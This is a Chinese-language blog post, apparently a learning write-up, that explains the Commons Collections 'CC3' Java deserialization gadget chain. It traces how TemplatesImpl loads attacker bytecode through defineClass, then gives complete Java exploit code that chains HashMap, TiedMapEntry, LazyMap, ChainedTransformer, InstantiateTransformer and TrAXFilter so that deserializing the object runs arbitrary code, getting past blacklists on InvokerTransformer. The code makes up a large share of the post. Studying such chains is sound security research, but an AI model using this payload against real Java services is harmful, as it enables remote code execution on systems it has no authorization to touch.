CC3

乎语百科 288 0

cc_link_three

0x00前言

这里要单独学cc链子三是因为它的调用方式不是执行命令而是代码执行,是一种动态类加载机制来执行代码,然后类加载的时候要用类加载器

0x01开整

首先明白调用机制loadClass---findClass---defineclass这三个流程

就再dfineClass的时候执行代码块之类的嘛所以我们找找defineClass有没有利用的的点,找了很多defineClass都是私有的和保护的我们要找一个公开的方法

最后在com.sun.org.apache.xalan.internal.xsltc.trax包下面发现了这个class的方法,只能在本包下访问的限制,然后再追进去看看CC3

然后继续往上调用找到了

CC3

然后继续向上寻找有三个值,看看三个值有没有代码执行的可能性

CC3

最后在第三个调用哪里发现了一个类加载的机制newInstance()

CC3

然而它还是私有的继续往上找一下找到了上一层就发现了公开的方法

CC3

这条链子大概就是这样发现了,然后就执行到这个newInstance()然后执行对应文件的代码就可以加载到

开始手搓

确定一下代码执行的地方

先确定一下这个类它确定是继承了这些类的,是可以序列化的

CC3

然后确定一下各个位置的值是怎么判断的

 private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setOverrideDefaultParser(_overrideDefaultParser);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
  • _name需要能为空因为我们要继续向下追踪

然后追下去发现

CC3

因为我们要调用definclass嘛然后所以_bytecodes也不能为空

_tfactory需要调用_getExternalExtensionsMap()方法所以它也不能为空不然会出现空指针异常的问题

然后就写个正面的payload来看一下嘛

public class cc_link_3 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
        //类加载要使用类加载器
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field _namefield = templatesClass.getDeclaredField("_name");
        _namefield.setAccessible(true);
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        _namefield.set(templates,"aaaaa");
        byte[] code = Files.readAllBytes(Paths.get("C://test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);
        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        templates.newTransformer();

    }
}

然后在执行的时候爆了空指针异常嘛可能就是因为在defineclass那个函数里面有些值的赋值没有赋值好

CC3

在这个点解读一下就是我们加载的类的父类的名称必须是

CC3

在下面这个点的时候

CC3

调用了一个put方法然后再这个参数这个时候是空的所以存在空指针异常

这里我们绕过的方式就有两种第一种是让他不进入循环然后去跳开那个if然后给下面空指针那个属性赋一个值,但是我们在后面看来后面还有一个对t_transletIndex进行一个判断的函数,然后再上面那个if还是对_transletIndex变成了-1还是很有用的,所以我们还是进入这个if循环所以给我们的test增加一个AbstrancTranslet的父类

CC3

这样就能达到执行代码的效果咯,这条链子的意思呢就是我们只要调用了Templateslmpl.newTransformer方法就可以执行任意代码它有可以执行代码我们就可以直接利用cc链1的transfrom方法去调用

绕过Invokertransfromer

然后其实要执行方法的话我们就想到直接可以用cc链子1或者六的链子直接调用那个方法就行了,然后因为那个方法又是公开的方法所以一直接再invoketransform里面执行就行了然后就可以沿着cc链子继续网上走,这条链子就是去解决runtime被禁止序列化以后的方法去执行调用

HashMap<Object, Object> map = new HashMap<>();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));
        //因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉
        TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");
        HashMap<Object, Object> map1 = new HashMap<>();

        map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去
        laztMap.remove("aaaa");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值
        //HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcode
        serialize(map1);
        unseriallize("src.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("src.bin"));
        oos.writeObject(obj);
    }
    public static Object unseriallize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

还有一个问题当我们的核心方法invoketrasnform被ban掉以后我们这条链子就完全断点了,但是我们其实还是有其他方法来继续执行这个代码的就是继续上找一下找到其他方法去调用newTransformer方法

一顿操作以后

CC3

直接找到了这个函数发现了构造函数是可以构造的地方,然后直接通过传参的方式获取,但是呢这个类又没有继承可以序列接口,所以我也不知道作者是怎么找到的这个方法

CC3

确定链头

在InstantiateTransformer这个类里面的它的构造方法存我们可以构造传入的参数值,而且它的transform还可以调用newInstance,到这里我们基本就完成了我们用URLdns那条链子来作为链头部

整体的调用过程

  • HashMap.readObject
  • TiedMapEntry.hashCode
  • LazyMap.decorate
  • ChainedTransformer.transform()
  • InstantiateTransformer.transform()
  • TrAXFilter
  • Transformer.newTransformer()
  • 动态类加载来执行(defineClass)

这条链子重要的就是绕开了Invoketransformer

 public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {
        //类加载要使用类加载器
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field _namefield = templatesClass.getDeclaredField("_name");
        _namefield.setAccessible(true);
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        _namefield.set(templates,"aaaaa");
        byte[] code = Files.readAllBytes(Paths.get("C://test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);
        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

//在这里是InstantiateTransforme的获取构造器的方法然后用TrAXFilter调用构造器之后就可以构造出函数
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        HashMap<Object, Object> map = new HashMap<>();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));
        //因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉
        TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");
        HashMap<Object, Object> map1 = new HashMap<>();
        map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去
        laztMap.remove("aaaa");
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值
        //HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcode
        serialize(map1);
        unseriallize("src.bin");

    }

0x02小结

CC3 链作为另外一种命令执行的方式,在原本黑名单的机会当中溜了出来,确实牛逼。作为利用类加载机制的执行方式,前面的触发头又有了多种可能,是值得学习一下的

标签:

留言评论

  • 这篇文章还没有收到评论,赶紧来抢沙发吧~